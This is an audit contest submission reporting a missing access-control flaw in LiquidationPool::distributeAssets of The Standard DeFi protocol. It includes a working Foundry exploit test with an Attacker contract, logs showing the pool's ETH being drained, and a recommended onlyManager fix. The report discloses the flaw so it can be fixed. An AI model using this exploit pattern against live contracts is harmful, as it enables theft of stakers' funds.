The Standard

The Standard
DeFiHardhat
20,000 USDC
View results
Submission Details
Severity: high
Valid

`LiquidationPool::distributeAssets` allows stakers to steal rewards

Summary

Due to the lack of access control and input validation in the LiquidationPool::distributeAssets function, a staker can call the function with arbitrary values to manipulate his rewards and claim more than he is entitled to, particularly after a liquidation. As a side effect, the rewards of other stakers will also be inflated.

Vulnerability Details

Overview:

The test case shows the following scenario:

  1. Two users stake TST and EUROs in the liquidation pool. One of the users (Attacker) is a malicious smart contract.

  2. The attacker calls LiquidationPoolManager::runLiquidation liquidating an undercollateralized vault.

  3. The attacker claims his rewards calling LiquidationPool::claimRewards

  4. The attacker calls liquidationPool::distributeAssets with arbitrary values.

  5. The attacker claims the rewards again, this time with the manipulated values.

Attack Analysis

The distributeAssets() function has the following arguments:

ILiquidationPoolManager.Asset[] memory _assets, uint256 _collateralRate, uint256 _hundredPC

where _assets is an Asset array, and the Asset struct is defined as:

https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/interfaces/ITokenManager.sol#L5

struct Asset { ITokenManager.Token token; uint256 amount; }

The attacker introduces a valid token (in this test case, native ETH) with an amount of his choosing, he also inputs any _collateralRate and hundredPC values.

This way he manipulates the _portion value in the distributeAssets() function

https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/LiquidationPool.sol#L219

uint256 _portion = asset.amount * _positionStake / stakeTotal;

and his rewards:

https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/LiquidationPool.sol#L227

rewards[abi.encodePacked(_position.holder, asset.token.symbol)] += _portion;

Actors:

  • Attacker: A malicious user that stakes TST and EUROs in the liquidation pool.

  • Victim: A user that stakes TST and EUROs in the liquidation pool. The victim will have his rewards inflated as well, and won't be able to claim them.

Working Test Case:

Working Test Case
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import {Test, console} from "forge-std/Test.sol";
import {LiquidationPool} from "../contracts/LiquidationPool.sol";
import {LiquidationPoolManager} from "../contracts/LiquidationPoolManager.sol";
import {ERC20Mock} from "../utils/ERC20Mock.sol";
import {EUROsMock} from "../utils/EUROsMock.sol";
import {ChainlinkMock} from "../utils/ChainlinkMock.sol";
import {MockSmartVaultManager} from "../utils/MockSmartVaultManager.sol";
import {TokenManagerMock} from "../utils/TokenManagerMock.sol";
import {ILiquidationPoolManager} from "../contracts/interfaces/ILiquidationPoolManager.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ITokenManager} from "../contracts/interfaces/ITokenManager.sol";
import {ISmartVaultManager} from "../contracts/interfaces/ISmartVaultManager.sol";
contract LiquidationPoolTest is Test {
uint256 public constant HUNDRED_PC = 100000;
uint256 public constant DEFAULT_COLLATERAL_RATE = 120000; // 120%
int256 public constant DEFAULT_ETH_USD_PRICE = 160000000000; // $1600
int256 public constant DEFAULT_EUR_USD_PRICE = 106000000; // $1.06
int256 public constant DEFAULT_WBTC_USD_PRICE = 3500000000000; // Price for WBTC.
int256 public constant DEFAULT_USDC_USD_PRICE = 100000000; // Price for USDC.
uint256 public constant PROTOCOL_FEE_RATE = 500; // 0.5%
uint32 public constant POOL_FEE_PERCENTAGE = 50000; // 50%
uint256 public constant TOKEN_ID = 1;
LiquidationPool liquidationPool;
LiquidationPoolManager liquidationPoolManager;
ERC20Mock _TST;
ERC20Mock _WBTC;
ERC20Mock _USDC;
EUROsMock _EUROs;
ChainlinkMock eurUsd;
ChainlinkMock wbtcUsd;
ChainlinkMock usdcUsd;
ChainlinkMock ethUsd;
TokenManagerMock tokenManager;
MockSmartVaultManager mockSmartVaultManager;
// An 'attacker' contract instance for simulating attacks.
Attacker attacker;
// Addresses used in testing.
address user2 = makeAddr("user2");
address user3 = makeAddr("user3");
address protocol = address(this);
function setUp() public {
// Initialize mock tokens and oracles.
_TST = new ERC20Mock("The Standard Token", "TST", 18);
_WBTC = new ERC20Mock("Wrapped Bitcoin", "WBTC", 8);
_USDC = new ERC20Mock("USD Coin", "USDC", 6);
_EUROs = new EUROsMock();
ethUsd = new ChainlinkMock("ETH/USD");
wbtcUsd = new ChainlinkMock("WBTC/USD");
usdcUsd = new ChainlinkMock("USDC/USD");
eurUsd = new ChainlinkMock("EUR/USD");
vm.warp(365 days); // This is an arbitrary value to prevent an error from being thrown when calling `setPrice` on the Chainlink mocks.
// Set mock prices for the assets.
ethUsd.setPrice(DEFAULT_ETH_USD_PRICE);
wbtcUsd.setPrice(DEFAULT_WBTC_USD_PRICE);
usdcUsd.setPrice(DEFAULT_USDC_USD_PRICE);
eurUsd.setPrice(DEFAULT_EUR_USD_PRICE);
tokenManager = new TokenManagerMock(bytes32("ETH"), address(ethUsd));
tokenManager.addAcceptedToken(address(_WBTC), address(wbtcUsd));
tokenManager.addAcceptedToken(address(_USDC), address(usdcUsd));
// Initialize the mock smart vault manager with default collateral rate and token manager.
mockSmartVaultManager = new MockSmartVaultManager(DEFAULT_COLLATERAL_RATE, address(tokenManager));
// Initialize the liquidation pool manager with mock contracts
liquidationPoolManager = new LiquidationPoolManager(
address(_TST),
address(_EUROs),
address(mockSmartVaultManager),
address(eurUsd),
payable(address(protocol)),
POOL_FEE_PERCENTAGE
);
// Getting the address of the liquidation pool from the manager.
liquidationPool = LiquidationPool(liquidationPoolManager.pool());
// Granting the BURNER_ROLE to the liquidation pool for EUROs token.
_EUROs.grantRole(_EUROs.BURNER_ROLE(), address(liquidationPool));
// Initializing the attacker contract.
attacker = new Attacker(address(liquidationPool), (payable(address(mockSmartVaultManager))));
}
// Fallback function to receive Ether.
receive() external payable {}
function testClaimRewards() public {
// Setting up collateral amounts for the test.
uint256 ethCollateral = 0.5 ether;
uint256 wbtcCollateral = 1_000_000;
uint256 usdcCollateral = 500_000_000;
uint256 stakeValue = 10000 ether;
// Create some funds to be liquidated
vm.deal(user2, ethCollateral);
vm.prank(user2);
(bool success,) = address(mockSmartVaultManager).call{value: ethCollateral}("");
_WBTC.mint(address(mockSmartVaultManager), wbtcCollateral);
_USDC.mint(address(mockSmartVaultManager), usdcCollateral);
// Minting tokens for the attacker and another user for staking.
_TST.mint(address(attacker), stakeValue);
_EUROs.mint(address(attacker), stakeValue);
_TST.mint(user3, stakeValue);
_EUROs.mint(user3, stakeValue);
// The attacker stakes tokens in the liquidation pool.
vm.startPrank(address(attacker));
_TST.approve(address(liquidationPool), stakeValue);
_EUROs.approve(address(liquidationPool), stakeValue);
liquidationPool.increasePosition(stakeValue, stakeValue);
vm.stopPrank();
// Another user (VICTIM) stakes tokens in the liquidation pool.
vm.startPrank(user3);
_TST.approve(address(liquidationPool), stakeValue);
_EUROs.approve(address(liquidationPool), stakeValue);
liquidationPool.increasePosition(stakeValue, stakeValue);
vm.stopPrank();
// The pending stakes are consolidated if the stake is created before the deadline (block.timestamp - 1 days)
// in `LiquidationPool::consolidatePendingStakes()`. The users cannot stake and inmediately claim rewards.
vm.warp(block.timestamp + 2 days);
vm.startPrank(address(attacker));
liquidationPoolManager.runLiquidation(TOKEN_ID); // Run the liquidation
// Now the liquiditation pool has the balances of the assets that were liquidated.
console.log("liquidation pool balances after the liquidation");
console.log("liquidation pool eth balance: %s", address(liquidationPool).balance);
console.log("liquidation pool wbtc balance: %s", _WBTC.balanceOf(address(liquidationPool)));
console.log("liquidation pool usdc balance: %s", _USDC.balanceOf(address(liquidationPool)));
(, LiquidationPool.Reward[] memory _rewards) = liquidationPool.position(address(attacker)); // As the attacker staked, he has rewards to claim, proportional to his stake.
console.log("attacker rewards before claiming");
console.log("attacker eth reward: %s", rewardAmountForAsset(_rewards, "ETH"));
console.log("attacker wbtc reward: %s", rewardAmountForAsset(_rewards, "WBTC"));
console.log("attacker usdc reward: %s", rewardAmountForAsset(_rewards, "USDC"));
liquidationPool.claimRewards(); // The attacker claims the rewards
// `LiquidationPool::claimRewards()` sets the reward amount to 0 before transfering the reward to the user.
// `delete rewards[abi.encodePacked(msg.sender, _token.symbol)];`
(, _rewards) = liquidationPool.position(address(attacker));
assertEq(rewardAmountForAsset(_rewards, "ETH"), 0);
assertEq(rewardAmountForAsset(_rewards, "WBTC"), 0);
assertEq(rewardAmountForAsset(_rewards, "USDC"), 0);
console.log("liquidation pool balances after the attacker claimed the rewards");
console.log("liquidation pool eth balance: %s", address(liquidationPool).balance);
console.log("liquidation pool wbtc balance: %s", _WBTC.balanceOf(address(liquidationPool)));
console.log("liquidation pool usdc balance: %s", _USDC.balanceOf(address(liquidationPool)));
/*
The attacker takes advantage of the lack of input validation in `LiquidationPool::distributeAssets()` and calls it with arbitrary values.
The attacker intent is to manipulate `_portion` value in `LiquidationPool::distributeAssets()`
which is calculated as: `uint256 _portion = asset.amount * _positionStake / stakeTotal;`
Then the portion value is assigned to his rewards `rewards[abi.encodePacked(_position.holder, asset.token.symbol)] += _portion;`
To accomplish this, the attacker contract calls `LiquidationPool::distributeAssets()` with a token amount that is greater than the attacker's stake.
*/
attacker.createTokenInfoAndCallDistributeAssets();
(, _rewards) = liquidationPool.position(address(attacker)); // Now the attacker has rewards to claim.
console.log("attacker eth reward: %s", rewardAmountForAsset(_rewards, "ETH"));
(, _rewards) = liquidationPool.position(user3);
console.log("liquidation pool balances before the attacker claims the rewards again");
console.log("liquidation pool eth balance: %s", address(liquidationPool).balance);
console.log("liquidation pool wbtc balance: %s", _WBTC.balanceOf(address(liquidationPool)));
console.log("liquidation pool usdc balance: %s", _USDC.balanceOf(address(liquidationPool)));
liquidationPool.claimRewards();
console.log("liquidation pool balances after the attacker claims the rewards again");
console.log("liquidation pool eth balance: %s", address(liquidationPool).balance);
console.log("liquidation pool wbtc balance: %s", _WBTC.balanceOf(address(liquidationPool)));
console.log("liquidation pool usdc balance: %s", _USDC.balanceOf(address(liquidationPool)));
console.log("attacker eth balance after claiming more rewards: %s", address(attacker).balance); // The attacker has sucessfully claimed more rewards than he should have.
(, _rewards) = liquidationPool.position(user3);
console.log("user3 (VICTIM) eth reward: %s", rewardAmountForAsset(_rewards, "ETH")); // The victim reward has also increased.
vm.stopPrank();
vm.expectRevert();
vm.prank(user3);
liquidationPool.claimRewards(); // The victim cannot claim rewards, as the function call reverts due to the lack of funds in the liquidation pool.
}
// Helper function to find the reward amount for token symbol
function rewardAmountForAsset(LiquidationPool.Reward[] memory rewards, string memory symbol)
internal
pure
returns (uint256)
{
bytes memory _symbol = bytes(symbol);
for (uint256 i = 0; i < rewards.length; i++) {
if (rewards[i].symbol == bytes32(_symbol)) {
return rewards[i].amount;
}
}
revert("Symbol not found");
}
}
// Interface implemented by the attacker contract
interface ILiquidationPool {
function distributeAssets(ILiquidationPoolManager.Asset[] memory assets, uint256 _positionStake, uint256 stakeTotal) external payable;
}
// This attacker contract is simplified for the purpose of the test case.
contract Attacker {
ILiquidationPool liquidationPool;
address mockSmartVaultManager;
constructor(address _liquidationPool, address payable _manager) {
liquidationPool = ILiquidationPool(_liquidationPool);
mockSmartVaultManager = _manager;
}
/*
The attacker is able to call `LiquidationPool::distributeAssets()` with arbitrary values
to manipulate `_portion` value in `LiquidationPool::distributeAssets()`
which is calculated as: `uint256 _portion = asset.amount * _positionStake / stakeTotal;`
The portion value is assigned to his rewards `rewards[abi.encodePacked(_position.holder, asset.token.symbol)] += _portion;`
The attacker uses a valid token address, but with an amount of his choice. (`assets[i] = ILiquidationPoolManager.Asset(token, 0.5 ether);`)
*/
function createTokenInfoAndCallDistributeAssets() public {
ITokenManager.Token[] memory tokens =
ITokenManager(ISmartVaultManager(mockSmartVaultManager).tokenManager()).getAcceptedTokens();
ILiquidationPoolManager.Asset[] memory assets = new ILiquidationPoolManager.Asset[](tokens.length);
for (uint256 i = 0; i < tokens.length; i++) {
ITokenManager.Token memory token = tokens[i];
if (token.addr == address(0)) {
assets[i] = ILiquidationPoolManager.Asset(token, 0.5 ether);
}
}
liquidationPool.distributeAssets{value: 0}(assets, 1, 1);
}
receive() external payable {}
}
Steps to reproduce the test

Inside 2023-12-the-standard folder:

  1. npm i --save-dev @nomicfoundation/hardhat-foundry - Install the hardhat-foundry plugin.

  2. Add require("@nomicfoundation/hardhat-foundry"); to the top of the hardhat.config.js file.

NOTE: Step number 3 will only work if your directory is an initialized git repository. Run git init if you haven't already.

  1. Run npx hardhat init-foundry in the terminal. This will generate a foundry.toml file based on your Hardhat project's existing configuration, and will install the forge-std library.

  2. Move 2023-12-the-standard/contracts/utils folder to 2023-12-the-standard folder.

  3. Copy the test case from above and paste it in a new file: 2023-12-the-standard/test/LiquidationPoolTest.t.sol

  4. Run the test in the terminal with forge test --mt testClaimRewards -vv

Test Logs
Logs:
liquidation pool balances after the liquidation
liquidation pool eth balance: 500000000000000000
liquidation pool wbtc balance: 1000000
liquidation pool usdc balance: 500000000
attacker rewards before claiming
attacker eth reward: 250000000000000000
attacker wbtc reward: 500000
attacker usdc reward: 250000000
liquidation pool balances after the attacker claimed the rewards
liquidation pool eth balance: 250000000000000000
liquidation pool wbtc balance: 500000
liquidation pool usdc balance: 250000000
attacker eth reward: 250000000000000000
liquidation pool balances before the attacker claims the rewards again
liquidation pool eth balance: 250000000000000000
liquidation pool wbtc balance: 500000
liquidation pool usdc balance: 250000000
liquidation pool balances after the attacker claims the rewards again
liquidation pool eth balance: 0
liquidation pool wbtc balance: 500000
liquidation pool usdc balance: 250000000
attacker eth balance after claiming more rewards: 500000000000000000
user3 (VICTIM) eth reward: 500000000000000000

Impact

The attacker can manipulate his rewards to claim multiple times.

The other stakers rewards will be increased as well, affecting the Liquidation Pool accounting, as other stakers will be entitled to more rewards than they should.

Tools Used

Manual review. Foundry unit tests.

Recommendations

  • Add access control to the distributeAssets() function.

-function distributeAssets(ILiquidationPoolManager.Asset[] memory _assets, uint256 _collateralRate, uint256 _hundredPC) external payable {
+function distributeAssets(ILiquidationPoolManager.Asset[] memory _assets, uint256 _collateralRate, uint256 _hundredPC) external payable onlyManager {
consolidatePendingStakes();
(,int256 priceEurUsd,,,) = Chainlink.AggregatorV3Interface(eurUsd).latestRoundData();
uint256 stakeTotal = getStakeTotal();
uint256 burnEuros;
uint256 nativePurchased;
for (uint256 j = 0; j < holders.length; j++) {
Position memory _position = positions[holders[j]];
uint256 _positionStake = stake(_position);
if (_positionStake > 0) {
for (uint256 i = 0; i < _assets.length; i++) {
ILiquidationPoolManager.Asset memory asset = _assets[i];
if (asset.amount > 0) {
(,int256 assetPriceUsd,,,) = Chainlink.AggregatorV3Interface(asset.token.clAddr).latestRoundData();
uint256 _portion = asset.amount * _positionStake / stakeTotal;
uint256 costInEuros = _portion * 10 ** (18 - asset.token.dec) * uint256(assetPriceUsd) / uint256(priceEurUsd)
* _hundredPC / _collateralRate;
if (costInEuros > _position.EUROs) {
_portion = _portion * _position.EUROs / costInEuros;
costInEuros = _position.EUROs;
}
_position.EUROs -= costInEuros;
rewards[abi.encodePacked(_position.holder, asset.token.symbol)] += _portion;
burnEuros += costInEuros;
if (asset.token.addr == address(0)) {
nativePurchased += _portion;
} else {
IERC20(asset.token.addr).safeTransferFrom(manager, address(this), _portion);
}
}
}
}
positions[holders[j]] = _position;
}
if (burnEuros > 0) IEUROs(EUROs).burn(address(this), burnEuros);
returnUnpurchasedNative(_assets, nativePurchased);
}
Updates

Lead Judging Commences

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

distributeAssets-issue

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.